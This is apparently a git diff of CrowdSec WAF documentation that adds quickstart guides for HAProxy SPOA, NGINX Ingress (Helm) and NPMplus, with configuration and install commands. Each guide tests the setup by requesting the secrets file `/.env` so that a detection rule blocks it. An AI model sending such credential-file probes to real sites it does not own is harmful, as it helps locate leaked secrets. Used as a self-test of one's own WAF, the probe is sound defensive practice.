start guides depending on your web server: - [Nginx/OpenResty](quickstart/nginxopenresty) - [Traefik](quickstart/traefik) +- [HAProxy (SPOA)](quickstart/haproxy_spoa) - [WordPress](quickstart/wordpress) - [CrowdSec WAF with Nginx Reverse Proxy](/u/user_guides/waf_rp_howto) Or consider learning more about the AppSec capabilities: -- **Rules**: [How to read, write and debug rules](/appsec/rules_syntax.md) -- **Scenarios**: [How to create scenarios that leverage the AppSec Component events](/appsec/alerts_and_scenarios.md) -- **Hooks**: [To customize behavior of the AppSec at runtime](/appsec/hooks.md) -- **Troubleshoot**: [How to troubleshoot the behavior of the AppSec Component](/appsec/troubleshooting.md) -- **AppSec Protocol**: [If you're maintaining or creating a remediation component and want to add AppSec capabilities](/appsec/protocol.md) +- **Rules**: [How to read, write and debug rules](rules_syntax.md) +- **Scenarios**: [How to create scenarios that leverage the AppSec Component events](alerts_and_scenarios.md) +- **Hooks**: [To customise behavior of the AppSec at runtime](hooks.md) +- **Troubleshoot**: [How to troubleshoot the behavior of the AppSec Component](troubleshooting.md) +- **AppSec Technical Details**: [For developers integrating with the AppSec Component](protocol.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx index 5708b2de0..ff7f2eaa6 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/general.mdx @@ -24,10 +24,12 @@ This guide covers the core AppSec Component setup that applies to all web server AppSec setup has two steps: - Download rules and configuration collections. -- Configure AppSec as a new acquisition datasource. +- Configure AppSec as a new acquisition datasource ([AppSec datasource](/log_processor/data_sources/appsec.md)). The following sections will guide you through the default setup. +After installation, verify everything works with the [🩺 Health Check](/u/getting_started/health_check). + ### Collection Installation Install the essential AppSec collections that provide virtual patching rules and generic attack detection: @@ -39,32 +41,35 @@ sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecuri These collections include: - **Virtual Patching Rules**: Protection against known vulnerabilities (CVEs) - **Generic Attack Detection**: Common web attack patterns -- **AppSec Configuration**: Default configuration linking rules together +- **AppSec Configuration**: Default [AppSec configuration file](/appsec/configuration.md) linking rules together - **CrowdSec Parsers & Scenarios**: For processing AppSec events and creating alerts ### Acquisition Configuration -Configure CrowdSec to expose the AppSec Component by creating an acquisition file: +Configure CrowdSec to expose the AppSec Component by creating an acquisition file ([AppSec datasource](/log_processor/data_sources/appsec.md)). 1. Create the acquisition directory (if it doesn't exist): - ```bash - sudo mkdir -p /etc/crowdsec/acquis.d/ - ``` + +```bash +sudo mkdir -p /etc/crowdsec/acquis.d/ +``` 2. Create the AppSec acquisition configuration: - ```bash - sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF - appsec_config: crowdsecurity/appsec-default - labels: - type: appsec - listen_addr: 127.0.0.1:7422 - source: appsec - name: myAppSecComponent - EOF - ``` + +```bash +sudo cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF +appsec_configs: + - crowdsecurity/appsec-default +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +name: myAppSecComponent +EOF +``` **Configuration explained:** -- `appsec_config`: Uses the default configuration from the installed collections +- `appsec_configs`: Uses the [AppSec configuration(s)](/appsec/configuration.md) from the installed collections - `listen_addr`: IP and port where the AppSec Component listens (default: 127.0.0.1:7422) - `source`: Identifies this as an AppSec data source - `name`: A friendly name for your AppSec component @@ -113,7 +118,7 @@ tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN ``` :::note -The output may look different depending on the command you used. As long as you see port 7422 and the `crowdsec` process, the AppSec Component is running. +The output may look differently depending on which command you used but as long as you see the port and the process `crowdsec`, it means the AppSec Component is running. ::: @@ -135,14 +140,15 @@ INFO[...] Appsec Runner ready to process event Now that the AppSec Component is configured and running, you need to: 1. **Configure your remediation component** to forward requests to `http://127.0.0.1:7422` -2. **Test the setup** [by triggering a rule](/appsec/quickstart/general.mdx#testing-detection) +2. **Test the setup** [by triggering a rule](#testing-detection) 3. **Monitor alerts** with `sudo cscli alerts list` or in the [CrowdSec Console](https://app.crowdsec.net) For specific remediation component configuration, see: -- [Nginx/OpenResty Setup](/appsec/quickstart/nginxopenresty.mdx) -- [Traefik Setup](/appsec/quickstart/traefik.mdx) -- [WordPress Setup](/appsec/quickstart/wordpress.mdx) -- [Check the Hub for other remediation components supporting AppSec](https://app.crowdsec.net/hub/remediation-components) +- [Nginx/OpenResty Setup](nginxopenresty.mdx) +- [Traefik Setup](traefik.mdx) +- [HAProxy (SPOA) Setup](haproxy_spoa.mdx) +- [WordPress Setup](wordpress.mdx) +- [Check the hub for other remediation components supporting AppSec](https://app.crowdsec.net/hub/remediation-components) ### Testing Detection @@ -176,7 +182,7 @@ This scenario can only be triggered again after a 1-minute delay. ### Multiple AppSec Configurations -You can [load multiple AppSec configurations](/appsec/vpatch_and_crs) for different rule sets: +You can [load multiple AppSec configurations](/appsec/configuration_creation_testing.md#defining-multiple-appsec-configurations) for different rule sets: ```yaml # /etc/crowdsec/acquis.d/appsec.yaml diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/haproxy_spoa.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/haproxy_spoa.mdx new file mode 100644 index 000000000..e43a8b06f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/haproxy_spoa.mdx @@ -0,0 +1,150 @@ +--- +id: haproxy_spoa +title: QuickStart - HAProxy (SPOA) +--- + +import UnderlineTooltip from '@site/src/components/underline-tooltip'; + +# CrowdSec WAF QuickStart for HAProxy (SPOA) + +## Objectives + +Set up the [AppSec Component](/appsec/intro.md#introduction) to protect web applications running behind [HAProxy](https://www.haproxy.org/) using the **HAProxy SPOA remediation component**. + +You will: +- Enable CrowdSec AppSec (WAF) in the Security Engine. +- Install and configure `crowdsec-haproxy-spoa-bouncer` so HAProxy can forward HTTP requests to AppSec. +- Validate everything by triggering a test detection. + +## Prerequisites + +1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction). +2. It's assumed that you have already installed: + - **CrowdSec [Security Engine](/intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). + - **HAProxy**: already running and proxying your application(s). + - **HAProxy SPOA [Remediation Component](/u/bouncers/intro)**: `crowdsec-haproxy-spoa-bouncer`. + +:::tip Already did the base setup? +If you already completed the [General Setup](general.mdx) (collections + acquisition), skip to [Remediation Component Setup](#remediation-component-setup). +::: + +## AppSec Component Setup + +### Collection installation + +Install the main AppSec rule collections: + +```bash +sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +``` + +These collections provide virtual patching (CVE rules), generic WAF detections, and the default AppSec configuration. + +### Setup the acquisition + +Create `/etc/crowdsec/acquis.d/appsec.yaml` (see the [AppSec datasource](/log_processor/data_sources/appsec.md) for the full reference): + +```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" +appsec_configs: + - crowdsecurity/appsec-default +labels: + type: appsec +listen_addr: 127.0.0.1:7422 +source: appsec +``` + +Restart CrowdSec: + +```bash +sudo systemctl restart crowdsec +``` + +:::warning +Do not expose the AppSec Component to the internet. It should only be reachable from your reverse proxy. +::: + +## Remediation Component Setup + +### Install and configure the HAProxy SPOA bouncer + +Read here how to install the SPOA remediation component: [HAProxy SPOA remediation component docs](/u/bouncers/haproxy_spoa). + +Once the bouncer is installed and able to talk to CrowdSec LAPI, you only need to enable **AppSec forwarding**. + +### Enable AppSec forwarding in the bouncer (YAML) + +In `/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml`, configure the AppSec endpoint the bouncer should query for WAF evaluation: + +```yaml title="/etc/crowdsec/bouncers/crowdsec-spoa-bouncer.yaml" +# AppSec (WAF forwarding) +appsec_url: "http://127.0.0.1:7422" +appsec_timeout: "200ms" + +hosts: + - host: "*" + appsec: + always_send: false +``` + +Restart the bouncer: + +```bash +sudo systemctl restart crowdsec-spoa-bouncer +``` + +:::note +If AppSec runs on a different host (or in containers), update `appsec_url` to the correct reachable address. +::: + +:::warning AppSec limitations with HAProxy SPOA (important) +HAProxy SPOA forwarding is constrained by HAProxy/SPOE/SPOA mechanics: +- Request bodies are only available if you enable buffering (`option http-buffer-request`) and they must fit within tight size limits (commonly capped at ~50KB in examples). +- When the body is too large (uploads, large JSON, etc.), you typically fall back to a “no-body” SPOE group, which means **body-dependent WAF rules cannot match**. +- You are not doing full “streaming” inspection: SPOA works with what HAProxy can capture and send to the agent within buffer/frame limits. + +CrowdSec AppSec is still a single “source of truth” for rules/config: you can point multiple WAF-capable integrations to the same AppSec endpoint so rule updates stay in sync across your infrastructure. + +Recommended layered approach: +- Use HAProxy SPOA for **edge enforcement** (IP/range/country decisions, ban/captcha) and lightweight WAF evaluation when the request fits within the configured limits. +- Put a full-featured L7 proxy/WAF-capable integration **downstream** (or protect the app directly) when you need deeper inspection of large bodies, file uploads, or application-specific request parsing. Examples of WAF-capable integrations include: + - [Nginx/OpenResty](/appsec/quickstart/nginxopenresty) + - [Traefik](/appsec/quickstart/traefik) + - [WordPress](/appsec/quickstart/wordpress) +::: + +## Testing the AppSec Component + Remediation Component + +:::note +Adjust the URL below to match your HAProxy frontend (HTTP/HTTPS, port, hostname). +::: + +If you try to access `http(s):///.env`, your request should be blocked: + +```bash +curl -i http:///.env +``` + +![appsec-denied](/img/appsec_denied.png) + +You can also check AppSec metrics: + +```bash +sudo cscli metrics show appsec +``` + +### Explanation + +What happened in the test above is: + +1. You requested `/.env` through HAProxy. +2. HAProxy forwarded the request to the SPOA remediation component (SPOE/SPOA). +3. The remediation component queried the AppSec Component at `appsec_url`. +4. The request matched the [AppSec rule to detect `.env` access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access). +5. AppSec returned a blocking action (HTTP 403) to the remediation component. +6. HAProxy blocked the request. + +## Next steps + +- Monitor WAF alerts with `sudo cscli alerts list` and in the [CrowdSec Console](https://app.crowdsec.net). +- Tune rules and configurations: `/appsec/configuration.md` and `/appsec/configuration_rule_management.md`. +- Troubleshoot: `/appsec/troubleshooting.md` and [HAProxy SPOA remediation component docs](/u/bouncers/haproxy_spoa). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginx-ingress.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginx-ingress.mdx new file mode 100644 index 000000000..dedefeac7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginx-ingress.mdx @@ -0,0 +1,345 @@ +--- +id: nginx-ingress +title: QuickStart - NGINX Ingress (Helm) +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; + +# CrowdSec WAF QuickStart for NGINX Ingress (Helm) + +## Objectives + +This quickstart shows how to deploy the CrowdSec AppSec Component with the +official Helm chart and protect workloads exposed through the Kubernetes [NGINX +Ingress Controller](https://kubernetes.github.io/ingress-nginx/). At the end, you +will have: + +- CrowdSec running in-cluster with the AppSec API listening on `7422` +- The ingress controller using the CrowdSec Lua plugin to forward requests for inspection +- Basic virtual patching rules blocking common web exploits + +## Prerequisites + +1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or +**W**eb **A**pplication **F**irewalls, start with the +[Introduction](/appsec/intro.md#introduction) for a better understanding. + +2. It's assumed that you have already installed **CrowdSec [Security +Engine](/intro.mdx)**. For installation quickstart, refer to the [QuickStart +guide](/u/getting_started/installation/kubernetes). + +:::warning +A Lua-enabled controller is essential for CrowdSec's NGINX Ingress +remediation, as it relies on the Lua plugin interface. Please use the +`crowdsecurity/controller` image provided by CrowdSec (as specified in the +values below). Note that the standard upstream controller removed Lua support in +version 1.12 and therefore is not suitable for use as a CrowdSec remediation component. +::: + +:::tip Already have CrowdSec AppSec running? +If CrowdSec is already deployed with AppSec enabled in your cluster, skip to [Enable the CrowdSec Lua plugin on NGINX Ingress](#enable-the-crowdsec-lua-plugin-on-nginx-ingress). +::: + +## Deploy CrowdSec with AppSec enabled + +### Helm repository + +Add or update the CrowdSec Helm repository: + +```bash +helm repo add crowdsec https://crowdsecurity.github.io/helm-charts +helm repo update +``` + +:::note +If CrowdSec is already deployed with Helm in this cluster, the repository entry is already present—you only need `helm repo update`. +::: + +### Update CrowdSec configuration + +Add this to the CrowdSec `values.yaml` with the AppSec acquisition datasource (see the [AppSec datasource](/log_processor/data_sources/appsec.md)) and the default [AppSec configuration](/appsec/configuration.md): + +```yaml title="values.yaml" +appsec: + acquisitions: + - appsec_configs: + - crowdsecurity/appsec-default + labels: + type: appsec + listen_addr: 0.0.0.0:7422 + path: / + source: appsec + enabled: true + env: + - name: COLLECTIONS + value: crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules +``` + +This YAML configuration snippet exposes the important configuration items: + * `listen_addr: 0.0.0.0:7422` exposes the AppSec API inside the cluster. + * `appsec_configs` loads the [AppSec configuration(s)](/appsec/configuration.md) that define which rules are evaluated (in-band vs out-of-band). + * The two collections provide virtual patching and generic rule coverage. + * The chart bootstraps a bouncer named `nginx_ingress_waf` using the key you export locally. + +And now we apply the new configuration with: + +```bash +helm upgrade --install crowdsec crowdsec/crowdsec --namespace crowdsec --create-namespace -f crowdsec-appsec-values.yaml +``` + +### Confirm the pods are healthy: + +```bash +kubectl -n crowdsec get pods +``` + +You should see `crowdsec-agent` pods, the `crowdsec-lapi` pod and the `crowdsec-appsec` pod in `Running` state. + +## Enable the CrowdSec Lua plugin on NGINX Ingress + +To extend the ingress controller with the CrowdSec plugin and point it to the +AppSec API, create the file named `ingress-values.yaml`. You can read the entire +file in the snippet below. + +```yaml title="ingress-values.yaml" +controller: + image: + registry: docker.io + image: crowdsecurity/controller + tag: v1.13.2 + digest: sha256:4575be24781cad35f8e58437db6a3f492df2a3167fed2b6759a6ff0dc3488d56 + extraVolumes: + - name: crowdsec-bouncer-plugin + emptyDir: {} + extraInitContainers: + - name: init-clone-crowdsec-bouncer + image: crowdsecurity/lua-bouncer-plugin:latest + imagePullPolicy: IfNotPresent + env: + - name: API_URL + value: "http://crowdsec-service.crowdsec.svc.cluster.local:8080" + - name: API_KEY + value: privateKey-foo + - name: BOUNCER_CONFIG + value: "/crowdsec/crowdsec-bouncer.conf" + - name: APPSEC_URL + value: "http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422" + - name: APPSEC_FAILURE_ACTION + value: "ban" + - name: APPSEC_CONNECT_TIMEOUT + value: "100" + - name: APPSEC_SEND_TIMEOUT + value: "100" + - name: APPSEC_PROCESS_TIMEOUT + value: "1000" + - name: ALWAYS_SEND_TO_APPSEC + value: "false" + command: + - sh + - -c + - | + sh /docker_start.sh + mkdir -p /lua_plugins/crowdsec/ + cp -R /crowdsec/* /lua_plugins/crowdsec/ + volumeMounts: + - name: crowdsec-bouncer-plugin + mountPath: /lua_plugins + extraVolumeMounts: + - name: crowdsec-bouncer-plugin + mountPath: /etc/nginx/lua/plugins/crowdsec + subPath: crowdsec + config: + plugins: "crowdsec" + lua-shared-dicts: "crowdsec_cache: 50m" + server-snippet: | + lua_ssl_trusted_certificate "/etc/ssl/certs/ca-certificates.crt" + resolver local=on ipv6=off; +``` + + +- `API_URL` targets the Local API service exposed by the Helm chart. +- `API_KEY` defines the key for the bouncer to be able to connect to CrowdSec LAPI +- `APPSEC_URL` points to the AppSec service; keep the namespace in sync with your CrowdSec release. +- The plugin copies the Lua files from the init container into an `emptyDir` that is mounted at runtime. + +Deploy or upgrade the ingress controller with the new values: + +```bash +helm upgrade --install ingress-nginx ingress-nginx/ingress-nginx \ + --namespace ingress-nginx \ + -f crowdsec-ingress-values.yaml +``` + +
+CrowdSec Ingress-NGINX Remediation Configuration Explained + +This `values.yaml` snippet integrates the CrowdSec remediation (Lua bouncer) +into the `ingress-nginx` controller by injecting the Lua plugin, generating its +configuration, and enabling it inside NGINX. + +#### Controller Image Override +```yaml +controller: + image: + registry: docker.io + image: crowdsecurity/controller + tag: v1.13.2 + digest: sha256:... +``` + +The controller image is replaced with a CrowdSec-enabled build that includes the +required Lua integration points. + +#### Shared Volume for the Plugin + +```yaml +extraVolumes: + - name: crowdsec-bouncer-plugin + emptyDir: {} +``` + +An emptyDir volume is used to hold the Lua bouncer plugin. It will be filled by +an initContainer and mounted into the main controller. + +#### InitContainer: Plugin Fetch and Configuration + +```yaml +extraInitContainers: + - name: init-clone-crowdsec-bouncer + image: crowdsecurity/lua-bouncer-plugin:latest + env: + - name: API_URL + value: "http://crowdsec-service.crowdsec.svc.cluster.local:8080" + - name: API_KEY + value: privateKey-foo + - name: BOUNCER_CONFIG + value: "/crowdsec/crowdsec-bouncer.conf" + - name: APPSEC_URL + value: "http://crowdsec-appsec-service.crowdsec.svc.cluster.local:7422" + - name: APPSEC_FAILURE_ACTION + value: "ban" + - name: APPSEC_CONNECT_TIMEOUT + value: "100" + - name: APPSEC_SEND_TIMEOUT + value: "100" + - name: APPSEC_PROCESS_TIMEOUT + value: "1000" + - name: ALWAYS_SEND_TO_APPSEC + value: "false" + command: + - sh + - -c + - | + sh /docker_start.sh + mkdir -p /lua_plugins/crowdsec/ + cp -R /crowdsec/* /lua_plugins/crowdsec/ + volumeMounts: + - name: crowdsec-bouncer-plugin + mountPath: /lua_plugins +``` + +The initContainer generates the plugin configuration (crowdsec-bouncer.conf) +from environment variables and copies the Lua plugin files into the shared +volume so the main controller can load them. + +#### Mounting the Plugin in NGINX + +```yaml +extraVolumeMounts: + - name: crowdsec-bouncer-plugin + mountPath: /etc/nginx/lua/plugins/crowdsec + subPath: crowdsec +``` + +This mounts the plugin files inside the directory where ingress-nginx expects +Lua plugins. + +#### NGINX Configuration to Enable the Plugin + +``` +config: + plugins: "crowdsec" + lua-shared-dicts: "crowdsec_cache: 50m" + server-snippet: | + lua_ssl_trusted_certificate "/etc/ssl/certs/ca-certificates.crt" + resolver local=on ipv6=off; +``` + +This snippet enables the crowdsec Lua plugin, aAllocates shared memory for +caching LAPI/AppSec results and ensures Lua HTTPS validation and DNS resolution +work properly. + +#### Summary + +This configuration: +* Injects the CrowdSec Lua bouncer plugin into ingress-nginx. +* Generates its configuration via an initContainer. +* Mounts it into NGINX so it is executed during request processing. +* Enables both LAPI enforcement and optional AppSec forwarding depending on settings. +
+ + +:::note +After the rollout, you can optionally check that the right container is deployed with something like: + +`kubectl -n ingress-nginx exec -ti -- find /etc/nginx/lua/plugins/crowdsec` + +This should give you a bunch of crowdsec lua files. + +::: + +## Testing the AppSec Component + Remediation Component + +:::note +We're assuming the web server is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case. +::: + +if you try to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: + +![appsec-denied](/img/appsec_denied.png) + +We can also look at the metrics from `cscli metrics show appsec` on the appsec pod it will display: + - the number of requests processed by the AppSec Component + - Individual rule matches + +
+ Example Output + +```bash title="kubectl exec -n crowdsec -ti crowdsec-appsec- -- cscli metrics show appsec" +Appsec Metrics: +╭─────────────────┬───────────┬─────────╮ +│ Appsec Engine │ Processed │ Blocked │ +├─────────────────┼───────────┼─────────┤ +│ 127.0.0.1:7422/ │ 2 │ 1 │ +╰─────────────────┴───────────┴─────────╯ + +Appsec '127.0.0.1:7422/' Rules Metrics: +╭─────────────────────────────────┬───────────╮ +│ Rule ID │ Triggered │ +├─────────────────────────────────┼───────────┤ +│ crowdsecurity/vpatch-env-access │ 1 │ +╰─────────────────────────────────┴───────────╯ +``` +
+ +You can test and investigate further with [Stack +Health-Check](/u/getting_started/health_check#trigger-crowdsec-test-scenarios) and [Appsec Troubleshooting +guide](/appsec/troubleshooting.md) + +## Integration with the Console + +If you haven't yet, follow the guide about [how to enroll your Security Engine in the Console](/u/getting_started/post_installation/console). + +Once done, all your alerts, including the ones generated by the AppSec Component, appear in the Console: + +![appsec-console](/img/appsec_console.png) + +## Next steps + +You are now running the AppSec Component on your CrowdSec Security Engine. + +As the next steps, you can: + - Look at [WAF Deployment Strategies](/appsec/advanced_deployments.mdx) to discover how to gradually improve your WAF security. + - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute + - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx index 0deba8135..d57efa85a 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/nginxopenresty.mdx @@ -24,7 +24,7 @@ Additionally, we'll show how to monitor these alerts through the [Console](https 1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding. 2. It's assumed that you have already installed: - - **CrowdSec [Security Engine](intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md). + - **CrowdSec [Security Engine](/intro.mdx)**: for installation, refer to the [QuickStart guide](/u/getting_started/installation/linux). The AppSec Component, which analyzes HTTP requests, is included within the security engine as a [Acquisition](/log_processor/data_sources/appsec.md). - One of the supported web servers for this guide: - Nginx **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/nginx). - OpenResty **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/openresty). @@ -35,6 +35,10 @@ Additionally, we'll show how to monitor these alerts through the [Console](https The reason we provide Nginx and OpenResty in a single guide is that OpenResty is a web server based on Nginx just the configuration paths are different ::: +:::tip Already did the base setup? +If you already completed the [General Setup](general.mdx) (collections + acquisition), skip to [Remediation Component Setup](#remediation-component-setup). +::: + ## AppSec Component Setup ### Collection installation @@ -58,31 +62,34 @@ sudo cscli collections install crowdsecurity/appsec-virtual-patching crowdsecuri Executing this command will install the following items: -- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped +- The [*AppSec Rules*](/appsec/rules_syntax.md) contain the definition of malicious requests to be matched and stopped - The [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration-files) links together a set of rules to provide a coherent set - The CrowdSec Parser and CrowdSec Scenario(s) bans for a longer duration repeating offenders ### Setup the Acquisition -Having installed the required components, it's time to configure the CrowdSec Acquisition to expose the Application Security Component to our web server. This configuration allows our Nginx/OpenResty server to send requests to the AppSec Component for evaluation and decision-making. +Having installed the required components, it's time to configure the CrowdSec acquisition datasource for the AppSec Component ([AppSec datasource](/log_processor/data_sources/appsec.md)). This configuration allows Nginx/OpenResty to forward requests to the AppSec Component for evaluation and decision-making. Steps: - 1. Create the `/etc/crowdsec/acquis.d/` directory (if it doesn't exist on your machine) - ``` - mkdir -p /etc/crowdsec/acquis.d/ - ``` - 2. Create a file `/etc/crowdsec/acquis.d/appsec.yaml` with the following content: - ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" - appsec_config: crowdsecurity/appsec-default - labels: - type: appsec - listen_addr: 127.0.0.1:7422 - source: appsec - ``` + +1. Create the acquisition directory (if it doesn't exist on your machine): + ```bash + sudo mkdir -p /etc/crowdsec/acquis.d/ + ``` + +2. Create `/etc/crowdsec/acquis.d/appsec.yaml`: + ```yaml title="/etc/crowdsec/acquis.d/appsec.yaml" + appsec_configs: + - crowdsecurity/appsec-default + labels: + type: appsec + listen_addr: 127.0.0.1:7422 + source: appsec + ``` The two important directives in this configuration file are: - - `appsec_config` is the name of the [*AppSec Configuration*](/appsec/configuration.md#appsec-configuration-files) that was included in the Collection we just installed. + - `appsec_configs` is the list of [*AppSec Configurations*](/appsec/configuration.md#appsec-configuration-files) that was included in the Collection we just installed. - the `listen_addr` is the IP and port the AppSec Component will listen to. :::warning @@ -291,6 +298,6 @@ Once done, all your alerts, including the ones generated by the AppSec Component You are now running the AppSec Component on your CrowdSec Security Engine. As the next steps, you can: -- [Explore the Hub](https://hub.crowdsec.net) to find more rules for your use case + - Look at [WAF Deployment Strategies](/appsec/advanced_deployments.mdx) to discover how to gradually improve your WAF security. - Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute - Take a look at [the benchmarks](/appsec/benchmark.md) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/npmplus.mdx b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/npmplus.mdx new file mode 100644 index 000000000..bdadca18f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/appsec/quickstart/npmplus.mdx @@ -0,0 +1,283 @@ +--- +id: npmplus +title: QuickStart - NPMplus +--- + +import Tabs from '@theme/Tabs'; +import TabItem from '@theme/TabItem'; +import CodeBlock from '@theme/CodeBlock'; +import UnderlineTooltip from '@site/src/components/underline-tooltip'; + +# CrowdSec WAF QuickStart for NPMplus + +## Objectives + +The goal of this quickstart is to set up the [AppSec Component](/appsec/intro.md#introduction) to safeguard web applications running on [NPMplus](https://github.com/ZoeyVid/NPMplus), an enhanced version of Nginx Proxy Manager. + +We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). + +Additionally, we'll show how to monitor these alerts through the [Console](https://app.crowdsec.net/). + +## Prerequisites + +1. If you're new to the [AppSec Component](/appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](/appsec/intro.md#introduction) for a better understanding. + +2. It's assumed that you have: + - **Docker and Docker Compose** installed and ready + - **Ports available**: 80/TCP, 443/TCP, 443/UDP (exposed to internet), 81/TCP (admin interface, can be internal) + - A text editor (e.g., nano, vim) and a way to download files (e.g., curl) + +:::info +NPMplus is an enhanced version of Nginx Proxy Manager that provides additional security, performance optimizations, and advanced features for reverse proxy and web server management. It includes built-in support for CrowdSec integration. +::: + +## AppSec Component Setup + +### Collection installation + +To begin setting up the AppSec Component, the initial step is to install a relevant set of rules. + +We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities. + +This collection is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current. + +We also install the [`crowdsecurity/appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides protection in cases where specific scenarios for vulnerabilities do not exist yet. + +:::info +You can always view the content of a [collection on the Hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). +::: + +:::note +In this guide, you'll install these collections inside the CrowdSec container after starting the stack. +::: + +### Setup the Acquisition + +NPMplus provides a Docker Compose file that includes both NPMplus and CrowdSec services. We need to configure the acquisition for AppSec and NPMplus log parsing. + +The AppSec part of this file is the AppSec acquisition datasource (`source: appsec`). For the complete reference of available keys, see the [AppSec datasource](/log_processor/data_sources/appsec.md). + +**Steps:** + +1. Download the compose.yaml file: + +```bash +curl -L https://raw.githubusercontent.com/ZoeyVid/NPMplus/refs/heads/develop/compose.yaml -o compose.yaml +``` + +2. Edit the `compose.yaml` file with your preferred text editor: + + - **For the NPMplus service**: Set the environment variables: + - `TZ`: Your timezone (e.g., `TZ=Europe/Berlin`) + - `ACME_EMAIL`: Your email address for Let's Encrypt (e.g., `ACME_EMAIL=admin@example.org`) + - `LOGROTATE`: Set to `true` (uncomment this line). This is required for CrowdSec to parse NPMplus logs. + + - **For the CrowdSec service**: Uncomment the `crowdsec` service block. Make sure to keep the `openappsec` line commented (note: `appsec` and `openappsec` are different things). + +3. Create the acquisition directory and configuration file: + + The exact path depends on how volumes are mounted in your `compose.yaml`. Typically, you'll need to create the file in the location where CrowdSec's configuration is persisted. If the compose file mounts `/opt/crowdsec` or `/etc/crowdsec` from the host, create the directory and file there: + +```bash +# Adjust the path based on your Docker volume mounts +mkdir -p /opt/crowdsec/conf/acquis.d +``` + + Alternatively, if you're using a different volume mount path, adjust accordingly. You can also create the file directly inside the container: + +```bash +docker exec -it crowdsec mkdir -p /etc/crowdsec/acquis.d +``` + +4. Create the acquisition configuration file `/opt/crowdsec/conf/acquis.d/npmplus.yaml` (or `/etc/crowdsec/acquis.d/npmplus.yaml` if using the container path) with the following content: + +```yaml title="/opt/crowdsec/conf/acquis.d/npmplus.yaml" +filenames: + - /opt/npmplus/nginx/*.log +labels: + type: npmplus +--- +filenames: + - /opt/npmplus/nginx/*.log +labels: + type: modsecurity +--- +listen_addr: 0.0.0.0:7422 +appsec_configs: + - crowdsecurity/appsec-default +name: appsec +source: appsec +labels: + type: appsec +``` + +:::info +You can find the newest version of the `npmplus.yaml` acquisition file [here](https://github.com/ZoeyVid/NPMplus). +::: + +**Configuration explained:** + +- The first two sections configure log parsing for NPMplus logs +- The third section configures the AppSec Component: + - `listen_addr: 0.0.0.0:7422`: The AppSec Component listens on all interfaces on port 7422 (needed for Docker networking) + - `appsec_configs`: Uses the [AppSec configuration(s)](/appsec/configuration.md) from the installed collections + - `source: appsec`: Identifies this as an AppSec data source + +### Running NPMplus and CrowdSec + +Start the services using Docker Compose: + +```bash +docker compose up -d +``` 